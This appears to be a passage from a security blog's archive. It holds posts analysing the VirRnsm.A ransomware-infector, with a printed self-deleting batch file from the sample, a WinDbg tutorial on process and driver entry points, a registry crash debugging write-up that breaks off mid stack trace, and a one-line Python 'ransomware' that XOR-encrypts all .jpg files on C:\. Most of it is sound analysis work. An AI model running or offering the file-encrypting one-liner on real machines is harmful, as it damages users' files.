<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<br /></div>
</div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-60058008025026116692015-05-15T06:19:00.000-07:002018-05-04T09:49:35.420-07:00Analysis of the ransom/infector W32_VirRnsm.AThere are lot of ransomware families around the world, however, since long time ago, they contain no new interesting features. VirRnsm.A is a malware that mixes characteristics of ransomwares and infectors. It is a ransomware capable to infect executable files (or an infector capable to encrypt your files). Technically, It doesn’t seem a great malware, but it is worth a look because, from my point of view, in the future we are going to start to see a lot of malwares of this type. Ransomware’s behaviour could end up being a payload of worms and infectors, rather than a malware by itself.<br />
<div>
<a name='more'></a><br />
In spite of the fact that VirRnsm.A is an evolution in the ransoms world, probably, it would have spread itself faster if the malware, after infecting files, didn’t block the screen, showing a rescue message and revealing itself. Instead, imagine a worm or infector (a conficker, a sality,…), that arrives to a machine and hides itself with stealth techniques, trying to spread itself as much as possible, and waiting for a date to execute its payload (payload with ransomware behaviour). It could be a enormous chaos.<br />
<br />
Here you can watch a short capture of the malware infecting a machine:<br />
<div>
<br />
<div class="jetpack-video-wrapper" style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 1.6em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span class="embed-youtube" style="border: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;"><iframe allowfullscreen="true" class="youtube-player" data-height="424" data-ratio="0.6057142857142858" data-width="700" src="https://www.youtube.com/embed/dTIdXL0_TQE?version=3&rel=1&fs=1&autohide=2&showsearch=0&showinfo=1&iv_load_policy=1&wmode=transparent" style="border-style: initial; border-width: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; height: 424px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline; width: 700px;" type="text/html"></iframe></span></div>
When VirRnsm.A is executed in a new machine, it dumps three executables with random names. One of them in a subfolder of %homepath% with random name, and two in different subfolders of %programdata% with random names too. It dumps some bats and an .vbs file too, to %temp%, related to cleaning tasks:<br />
<br />
file.vbs:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">WScript.Sleep(50)</pre>
ZuMAUEUk.bat:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">echo WScript.Sleep(50)>%TEMP%/file.vbs
cscript %TEMP%/file.vbs
del /F /Q file.js
del /F /Q %1
del /F /Q %0</pre>
Later it executes those three dumped executables that we said. One of these executables start to walk the file system searching for files to infect. When it finds executables or some types of noPE files (jpg, pdf, …), it extracts the original icon from the target file, and it creates a new executable with the name of the target (adding .exe extension if the target is not an executable) and the original icon of the it. The new executable contains the code of the malware and the original file encrypted.</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzDYf2AOaBMoCipf6fTBlMtirWK-3GDsGim8LoztGrdpmpmXd87N1KLPuG1m78ZA4Mq11JA3zG_FN7-WGC4qZnkApXFkwjGu009GDfNCrzZLWnunPZuLxjvuY6qxNvGjC3kb9JW-kJ9P4/s1600/virransom_infected_binary_sections.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="342" data-original-width="656" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzDYf2AOaBMoCipf6fTBlMtirWK-3GDsGim8LoztGrdpmpmXd87N1KLPuG1m78ZA4Mq11JA3zG_FN7-WGC4qZnkApXFkwjGu009GDfNCrzZLWnunPZuLxjvuY6qxNvGjC3kb9JW-kJ9P4/s640/virransom_infected_binary_sections.png" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
The new executable is packed with a polymorphic layer, and it contains a big .text section where the malware code and the original file are stored, and a .rsrc section that it uses to store the original file icon. If we go to the entry point we can see the polymorphic layer of the ransom. It seems to have a not very complex polymorphic engine, it generates lot of trash, almost no jumps and not very realistic code:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje_6Ou5A2fiHE9oLcTBY30rUM59l7EKOg91ATqZyOgzKr1AZgpxw420wGSx9Rv28bVHDAwthZRgyrY9caCne31dbJ-g5sxALm5lffMYkMaZk98DigNZz4vC6XeRqsFo5C2AA7t2ud2nQ8/s1600/virransom_infected_file_entrypoint.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1002" data-original-width="660" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje_6Ou5A2fiHE9oLcTBY30rUM59l7EKOg91ATqZyOgzKr1AZgpxw420wGSx9Rv28bVHDAwthZRgyrY9caCne31dbJ-g5sxALm5lffMYkMaZk98DigNZz4vC6XeRqsFo5C2AA7t2ud2nQ8/s640/virransom_infected_file_entrypoint.png" width="420" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
When the ransom ends up of encrypting files, it executes other of the three dumped executables, and this executable blocks the screen with a message like this:</div>
<div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBoya_gjZu78SmjSU27uNEGjO-ubGBchp7C59mXFFi99lMiOb7aJckIx8YcwYx4LF9c8qM6UBwiTcmysxQjfVENr1XHT-yo7ebCPRvGnERsmd-eEWwgYlfg056nrxXkcXjWxBGxIIRms/s1600/virransom_message.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="677" data-original-width="1009" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBoya_gjZu78SmjSU27uNEGjO-ubGBchp7C59mXFFi99lMiOb7aJckIx8YcwYx4LF9c8qM6UBwiTcmysxQjfVENr1XHT-yo7ebCPRvGnERsmd-eEWwgYlfg056nrxXkcXjWxBGxIIRms/s640/virransom_message.png" width="640" /></a></div>
<br /></div>
If you executed some of the infected files (exe, jpg,… or any) , it does exactly the same actions (infect the new machine), and, in case that it was a noPE, i.e a jpg file, it shows the original file. In this way it seems the file wasn’t infected. Here is a short capture of a infected file running:</div>
<div>
<br />
<div class="jetpack-video-wrapper" style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 1.6em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span class="embed-youtube" style="border: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;"><iframe allowfullscreen="true" class="youtube-player" data-height="424" data-ratio="0.6057142857142858" data-width="700" src="https://www.youtube.com/embed/ShcRED2jP-g?version=3&rel=1&fs=1&autohide=2&showsearch=0&showinfo=1&iv_load_policy=1&wmode=transparent" style="border-style: initial; border-width: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; height: 424px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline; width: 700px;" type="text/html"></iframe></span></div>
The video shows how the infected files, when they are executed, infect the machine and later show the original file. This ransom stores the key to decrypt the files into the infected binary, so the decryption is possible. I.e Windows Defender was able to decrypt some samples that i donwloaded from malwr.com:</div>
<div>
<br />
<div class="jetpack-video-wrapper" style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 1.6em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span class="embed-youtube" style="border: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;"><iframe allowfullscreen="true" class="youtube-player" data-height="424" data-ratio="0.6057142857142858" data-width="700" src="https://www.youtube.com/embed/BVz942iZLa8?version=3&rel=1&fs=1&autohide=2&showsearch=0&showinfo=1&iv_load_policy=1&wmode=transparent" style="border-style: initial; border-width: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; height: 424px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline; width: 700px;" type="text/html"></iframe></span></div>
The conclusion is this malware seems to be not very complex and it is not introducing very new techniques, from the point of view of ransomware as from the point of view of infectors. However it is an advice of the dangerous future that we can start to find in the ransomwares world.</div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-52160072135043094972015-04-22T06:10:00.000-07:002018-05-04T09:59:55.290-07:00Debugging programs with multiple processes with windbg’s kernel mode debuggerIt’s common to reverse malware (or any type of software) that creates multiple processes or loads drivers, and it is useful to be able to debug the new created processes or loaded drivers from entry point.<br />
<br />
<a name='more'></a><br />
To break at the entry point of the processes you can modify CreateProcess parameters to create child processes suspended (to attach debugger later), or introduce 0xCC at entrypoint on disk of the PE file that is going to be launched, or use plugins for debuggers to attach to child processes… There are lot of methods. From kernel mode you can set conditions that break into the debugger: sxe ld ntdll.dll, sxe cpr, etc… For breaking at a driver entry point you can use: bu <drivername>!DriverEntry (though, i don’t know why, sometimes it doesn’t work for me).<br />
<br />
I will talk here about a couple of ways to do this from windbg kernel mode debugger, without needing to restart computer to enable exceptions that break into debugger, or modifying PEs in disk,…<br />
<br />
To break at entry point of the main module of a new process, we start setting a breakpoint at CreateProcessA, CreateProcessW, CreateProcessAsUserA, CreateProcessAsUserW, … of the process that will create the child process. If you don’t know what function is called to create the child process, set the bp at ZwCreateSection (it must be called always when a process is created). Step over the call (let the new process to be loaded). Now the new process’s image is loaded and you can set a bp for a target process with bp /p <process> <addr>:<br />
<br />
When the process is loaded, search it with !process 0 0 to get the address of the EPROCESS.<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">...
PROCESS 8223d020 SessionId: 0 Cid: 0dd8 Peb: 7ffd9000 ParentCid: 0120
DirBase: 093c0220 ObjectTable: e1224c08 HandleCount: 0.
Image: calc.exe
...</pre>
With the EPROCESS address, enum process info:<br />
<br />
kd> !process 8223d020<br />
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">PROCESS 8223d020 SessionId: 0 Cid: 0dd8 Peb: 7ffd9000 ParentCid: 0120
DirBase: 093c0220 ObjectTable: e1224c08 HandleCount: 0.
Image: calc.exe
VadRoot 82235f60 Vads 11 Clone 0 Private 8. Modified 0. Locked 0.
DeviceMap e1b2b1b8
Token e1274998
ElapsedTime 00:00:00.000
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 7860
QuotaPoolUsage[NonPagedPool] 440
Working Set Sizes (now,min,max) (19, 50, 345) (76KB, 200KB, 1380KB)
PeakWorkingSetSize 19
VirtualSize 2 Mb
PeakVirtualSize 2 Mb
PageFaultCount 12
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 19
THREAD 824304c0 Cid 0dd8.0dec Teb: 7ffdf000 Win32Thread: 00000000 READY on processor 0
Not impersonating
DeviceMap e1b2b1b8
Owning Process 0 Image: <Unknown>
Attached Process 8223d020 Image: calc.exe
Wait Start TickCount 70583 Ticks: 0
Context Switch Count 0 IdealProcessor: 0
UserTime 00:00:00.000
KernelTime 00:00:00.000
Win32 Start Address Explorer!CClockCtl::_GetMaxTimeSize (0x0101e23a)
Start Address kernel32!BaseProcessStartThunk (0x7c810735)
Stack Init f6b04000 Current f6b03d48 Base f6b04000 Limit f6b01000 Call 0
Priority 8 BasePriority 8 PriorityDecrement 0 DecrementCount 0
ChildEBP RetAddr
f6b03e28 7c920222 nt!KiThreadStartup
f6b03eb0 7c924d12 ntdll!RtlpAllocateFromHeapLookaside+0x42 (FPO: [Non-Fpo])
f6b03eb0 00000000 ntdll!RtlConvertSidToUnicodeString+0x1b5 (FPO: [Non-Fpo])</pre>
We can see the thread and use it to change the context to this thread:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">kd> .thread 824304c0
Implicit thread is now 824304c0
kd> r
Last set context:
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=80541f4c esp=f6b03d54 ebp=805c623e iopl=0 nv up di pl nz na po nc
cs=001b ss=0023 ds=0000 es=0000 fs=0000 gs=0000 efl=00000000
nt!KiThreadStartup:
001b:80541f4c 33db xor ebx,ebx</pre>
Now we see the ETHREAD struct of the main thread of the new process at address 0x824304c0, and we can see the fields of this structure. We are interesed on Win32StartAddress field, the entrypoint of the thread in the recently created process:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">kd> .process /i 8223d020
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> dt _ETHREAD 824304c0
ntdll!_ETHREAD
+0x000 Tcb : _KTHREAD
+0x1c0 CreateTime : _LARGE_INTEGER 0x0e82fb8c`bed0e210
+0x1c0 NestedFaultCount : 0y00
+0x1c0 ApcNeeded : 0y0
+0x1c8 ExitTime : _LARGE_INTEGER 0x82430688`82430688
+0x1c8 LpcReplyChain : _LIST_ENTRY [ 0x82430688 - 0x82430688 ]
+0x1c8 KeyedWaitChain : _LIST_ENTRY [ 0x82430688 - 0x82430688 ]
+0x1d0 ExitStatus : 0n0
+0x1d0 OfsChain : (null)
+0x1d4 PostBlockList : _LIST_ENTRY [ 0x82430694 - 0x82430694 ]
+0x1dc TerminationPort : (null)
+0x1dc ReaperLink : (null)
+0x1dc KeyedWaitValue : (null)
+0x1e0 ActiveTimerListLock : 0
+0x1e4 ActiveTimerListHead : _LIST_ENTRY [ 0x824306a4 - 0x824306a4 ]
+0x1ec Cid : _CLIENT_ID
+0x1f4 LpcReplySemaphore : _KSEMAPHORE
+0x1f4 KeyedWaitSemaphore : _KSEMAPHORE
+0x208 LpcReplyMessage : (null)
+0x208 LpcWaitingOnPort : (null)
+0x20c ImpersonationInfo : (null)
+0x210 IrpList : _LIST_ENTRY [ 0x824306d0 - 0x824306d0 ]
+0x218 TopLevelIrp : 0
+0x21c DeviceToVerify : (null)
+0x220 ThreadsProcess : 0x8223d020 _EPROCESS
+0x224 StartAddress : 0x7c810735 Void
+0x228 Win32StartAddress : 0x0101e23a Void
+0x228 LpcReceivedMessageId : 0x101e23a
+0x22c ThreadListEntry : _LIST_ENTRY [ 0x8223d1b0 - 0x8223d1b0 ]
+0x234 RundownProtect : _EX_RUNDOWN_REF
+0x238 ThreadLock : _EX_PUSH_LOCK
+0x23c LpcReplyMessageId : 0
+0x240 ReadClusterSize : 7
+0x244 GrantedAccess : 0x1f03ff
+0x248 CrossThreadFlags : 0
+0x248 Terminated : 0y0
+0x248 DeadThread : 0y0
+0x248 HideFromDebugger : 0y0
+0x248 ActiveImpersonationInfo : 0y0
+0x248 SystemThread : 0y0
+0x248 HardErrorsAreDisabled : 0y0
+0x248 BreakOnTermination : 0y0
+0x248 SkipCreationMsg : 0y0
+0x248 SkipTerminationMsg : 0y0
+0x24c SameThreadPassiveFlags : 0
+0x24c ActiveExWorker : 0y0
+0x24c ExWorkerCanWaitUser : 0y0
+0x24c MemoryMaker : 0y0
+0x250 SameThreadApcFlags : 0
+0x250 LpcReceivedMsgIdValid : 0y0
+0x250 LpcExitThreadCalled : 0y0
+0x250 AddressSpaceOwner : 0y0
+0x254 ForwardClusterOnly : 0 ''
+0x255 DisablePageFaultClustering : 0 ''</pre>
The field Win32StartAddress of ETHREAD contains the entrypoint, so we set a breakpoint in that process at that address with:<br />
<br />
bp /p <process> <entrypoint><br />
<br />
or<br />
<br />
ba e1 <entrypoint><br />
<br />
In this way we can debug from entrypoint of the process.<br />
<br />
Usually, it’s interesting to suspend the new processes until you see what other processes are created, and want to debug them, etc… Windbg user-mode debugger let you to suspend threads easily (~Thread n) but you can’t do this from kernel-mode debugger. You can read a couple of articles about threads suspension and resumption here:<br />
<br />
<a href="http://rce4fun.blogspot.fr/2014/11/windows-thread-suspension-internals.html">Windows Thread Suspension Internals Part 1</a><br />
<br />
<a href="http://rce4fun.blogspot.fr/2014/11/windows-thread-suspension-internals_29.html">Windows Thread Suspension Internals Part 2</a><br />
<br />
<a href="http://rce4fun.blogspot.fr/2015/02/windows-internals-thread-resumption-and.html">Windows Internals – Thread resumption and synchronization objects</a><br />
<br />
I asked the author of these articles about suspending threads from kernel mode session and he answered me that “windbg raises the IRQL to its highest value to stop all threads. I don’t think u can do it for one thread only, many stuff done”. I would like to investigate it in deep in the future.<br />
<br />
I tried to force the thread to call SuspendThread to suspend itself:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">kd> r @esp = @esp - 8
kd> ed @esp @eip
kd> ed @esp+4 fffffffe
kd> r @eip = kernel32!SuspendThread</pre>
But it worked sometimes, other times the thread ended up in an unestable state.<br />
<br />
About breaking at DriverEntry of a driver, it is possible to set a breakpoint at symbol with bu. But i noticed it doesn’t work sometimes, i don’t know why. You can set bp at MmLoadSystemImage function too. This function will load the driver, so when the bp is hit, you step out of the function, and, in that moment, the driver is mapped in memory. Now you can load symbols and set breakpoint at driver entry with bp <driver>!DriverEntry,…</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-61499548567457671042015-04-08T05:50:00.000-07:002018-05-04T09:49:55.449-07:00Single line python ransomware?<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
Boredom is very dangerous because you start to waste time on nonsense, and this article is the proof of it 😄 Here is a tiny ransomware implemented with only one python expression.</div>
<a name='more'></a><pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">map(lambda y: map(lambda x: map(lambda z: x.seek(0) or x.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(z, "x"*len(z)))) and x.close(),[x.read()]), [open(y, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])</pre>
I ommitted import statements in the previous line, with them:<br />
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">import os;from itertools import izip;map(lambda y: map(lambda x: map(lambda z: x.seek(0) or x.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(z, "x"*len(z)))) and x.close(),[x.read()]), [open(y, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])</pre>
A more readable version:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">import os;from itertools import izip;map(lambda filepath: map(lambda openfile: map(lambda readbytes: openfile.seek(0) or openfile.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(readbytes, "x"*len(readbytes)))) and openfile.close(),[openfile.read()]), [open(filepath, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])</pre>
If you execute it, the script will walk c:\ and encrypt jpg files with a simple byte by byte xor with key: ‘x’. Executing it again will decrypt the files.<br />
<br />
If you guess how to do the script shorter, tell me please, i would like to be able to write it in 140 characters.</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-48202941675284967662015-03-23T05:43:00.000-07:002018-05-04T09:56:03.541-07:00Debugging BSOD when trying to delete malformed registry key on Windows 8.1The last days my computer started to crash suddenly, with bug check 0x51 (REGISTRY_ERROR). It was totally random, so i decided to analyze the crash. I decided to write an article about this because, in spite of the fact that it doesn’t seem a security problem, i learnt some interesting things about windows registry.<br />
<br />
<a name='more'></a>Before reading this article, it’s good to have some knowledge about internals of windows registry. <a href="http://amnesia.gtisc.gatech.edu/~moyix/suzibandit.ltd.uk/MSc/Registry%20Structure%20-%20Appendices%20V4.pdf">Here</a> is a very interesting article about it.<br />
<br />
The machine where the BSOD occured is x64 running windows 8.1. First, we activate full memory dumps and we wait for the crash.<br />
<br />
When the crash occurs, we get the memory dump. We open it with windbg, load symbols for kernel and user mode, and we analyze -v.<br />
<div>
<br /></div>
<div>
<pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; box-sizing: border-box; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;"><span style="background-color: rgba(0 , 0 , 0 , 0.03); color: #686868; font-family: "source code pro" , monospace; font-size: 16px;">3: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
REGISTRY_ERROR (51)
Something has gone badly wrong with the registry. If a kernel debugger
is available, get a stack trace. It can also indicate that the registry got
an I/O error while trying to read one of its files, so it can be caused by
hardware problems or filesystem corruption.
It may occur due to a failure in a refresh operation, which is used only
in by the security system, and then only when resource limits are encountered.
Arguments:
Arg1: 0000000000000001, (reserved)
Arg2: ffffc000a7277000, (reserved)
Arg3: 00000000ccbe055b, depends on where Windows bugchecked, may be pointer to hive
Arg4: 00000000000001ea, depends on where Windows bugchecked, may be return code of
HvCheckHive if the hive is corrupt.
Debugging Details:
------------------
DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT
BUGCHECK_STR: 0x51
PROCESS_NAME: svchost.exe
CURRENT_IRQL: 0
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre
LAST_CONTROL_TRANSFER: from fffff8011914ce46 to fffff80118d529a0
STACK_TEXT:
ffffd000`8b3137b8 fffff801`1914ce46 : 00000000`00000051 00000000`00000001 ffffc000`a7277000 00000000`ccbe055b : nt!KeBugCheckEx
ffffd000`8b3137c0 fffff801`18fe3463 : ffffc000`b211da78 00000000`04223a78 00000000`00000000 ffffc000`a7277000 : nt! ?? ::NNGAKEGL::`string'+0x1db76
ffffd000`8b313820 fffff801`18fe434a : ffffc000`b2375e64 00000000`03d01a50 ffffc000`37643535 ffffc000`ccbe055b : nt!HvFreeCell+0xf7
ffffd000`8b3138a0 fffff801`18fe2836 : ffffc000`a7277000 ffffc000`af1574b4 ffffc000`a7277000 00000000`03d01a90 : nt!CmpFreeValueData+0x6a
ffffd000`8b3138d0 fffff801`18fe10e5 : 00000000`00000000 ffffe000`28d8b4c0 ffffc000`a7277000 00000000`00000000 : nt!CmpFreeValue+0x26
ffffd000`8b313900 fffff801`19034075 : 01d063e1`4dd2cd24 ffffd000`8b3139a9 ffffc000`af1574b4 ffffc000`a995b948 : nt!CmpFreeKeyByCell+0xf9
ffffd000`8b313940 fffff801`19033d26 : ffffc000`a8e89af0 ffffd000`8b313a01 00000000`00000101 00000000`00000000 : nt!CmDeleteKey+0x1fd
ffffd000`8b313a10 fffff801`18d5e1b3 : 00000000`00000008 ffffe000`28d8b080 00000000`000001b0 00000000`00000000 : nt!NtDeleteKey+0x25e
ffffd000`8b313b00 00007ff8`15ea19ba : 00007ff8`1308e7eb 00000096`9953ccb0 00000000`00000000 00000000`0000ff00 : nt!KiSystemServiceCopyEnd+0x13
00000096`9953cbd8 00007ff8`1308e7eb : 00000096`9953ccb0 00000000`00000000 00000000`0000ff00 00000000`00010000 : ntdll!NtDeleteKey+0xa
00000096`9953cbe0 00007ff8`1308e6c5 : 00000000`000001a8 00000000`000001b0 00000000`00000000 00000000`00000000 : KERNELBASE!LocalBaseRegDeleteKeyEx+0xf7
00000096`9953cc70 00007ff8`1305efa1 : 00000000`000001a8 00000000`00000000 00000000`00000000 00000000`00000000 : KERNELBASE!RegDeleteKeyExInternalW+0xa1
00000096`9953ccd0 00007fff`fc90195c : 00000000`000001a8 00000096`98b2de20 00007ff8`00000101 00000000`000001a4 : KERNELBASE!RegDeleteTreeW+0x14d
00000096`9953cd50 00007fff`fc8fabc5 : 00000000`00000001 00000000`00000004 00000000`00000004 00000000`00000000 : defragsvc!SxRegDeleteKey+0x60
00000096`9953cdc0 00007fff`fc8ee0ec : 00007fff`fc8eb860 00007fff`fc8eb860 00000096`991965b0 00000096`98b2d710 : defragsvc!CDefragAsyncWorker::_LoadStatisticsFromRegistry+0x6f5
00000096`9953d360 00007fff`fc8f2956 : 00000000`00000000 00000096`9953d9e0 00000096`98b2e060 00000096`98b2e060 : defragsvc!CDefragAsyncWorker::_Initialize+0x19c
00000096`9953d8d0 00007fff`fc8ef347 : 00000000`00000000 00000096`9953dbf0 00000000`00000000 00000000`00000000 : defragsvc!CDefragAsyncWorker::CreateInstance+0xe6
00000096`9953d990 00007fff`fc8edca8 : 00000000`00000000 00000000`00000000 00000000`00000000 00007ff8`00000001 : defragsvc!CDefragEngine::_CreateAsyncForVolume+0x1f5
00000096`9953dab0 00007fff`fc8f3428 : 00000000`00000000 00000000`00000198 00000000`00000198 00000096`99196440 : defragsvc!CDefragEngine::_RefreshVolumeList+0x51b
00000096`9953e060 00007fff`fc8f32a5 : 00000000`00000000 00000096`991964f0 00000096`99196530 00000000`00000158 : defragsvc!CDefragEngine::FinalConstruct+0x12c
00000096`9953e0f0 00007fff`fc8ea51b : 00000000`00000000 00000000`00000001 00000096`991962f0 00000096`991962a0 : defragsvc!CSxComObjectCached<CDefragEngine>::CreateInstance+0xa1
00000096`9953e120 00007ff8`143e7cb4 : 00000096`991962a0 00007fff`fc8ea4a0 00000000`00000000 00000000`00000000 : defragsvc!CSxComClassFactorySingleton<CDefragEngine>::CreateInstance+0x7b
00000096`9953e170 00007ff8`143e7ad0 : 00000000`00000000 00007ff8`143cd330 00000096`9953e240 00000000`00000000 : combase!GetInstanceHelperMulti+0x4c [d:\9147\com\combase\objact\objact.cxx @ 2821]
00000096`9953e1c0 00007ff8`14012053 : 00000000`00000000 00000096`9953e840 00007ff8`143e7550 00000096`98b1eb40 : combase!CObjServer::CreateInstance+0x57e [d:\9147\com\combase\objact\defcxact.cxx @ 662]
00000096`9953e3a0 00007ff8`1401c70d : 00000096`9953e820 00007ff8`1444a722 00000096`98b26418 00000000`00000000 : RPCRT4!Invoke+0x73
00000096`9953e400 00007ff8`14029cb3 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : RPCRT4!NdrStubCall2+0x35e
00000096`9953ea70 00007ff8`145287e3 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : RPCRT4!NdrStubCall3+0x156
00000096`9953ed90 00007ff8`145297bd : 00000000`00000001 00007ff8`14528770 00000000`00000000 00000000`00000000 : combase!CStdStubBuffer_Invoke+0x6b [d:\9147\com\combase\ndr\ndrole\stub.cxx @ 1586]
00000096`9953edd0 00007ff8`143b4f5a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : combase!SyncStubInvoke+0x21d [d:\9147\com\combase\dcomrem\channelb.cxx @ 1664]
00000096`9953ef70 00007ff8`1452951f : 00000000`00000000 00000096`98b11f70 00000096`9953f240 00000000`00000000 : combase!CCtxComChnl::ContextInvoke+0x27a [d:\9147\com\combase\dcomrem\ctxchnl.cxx @ 1377]
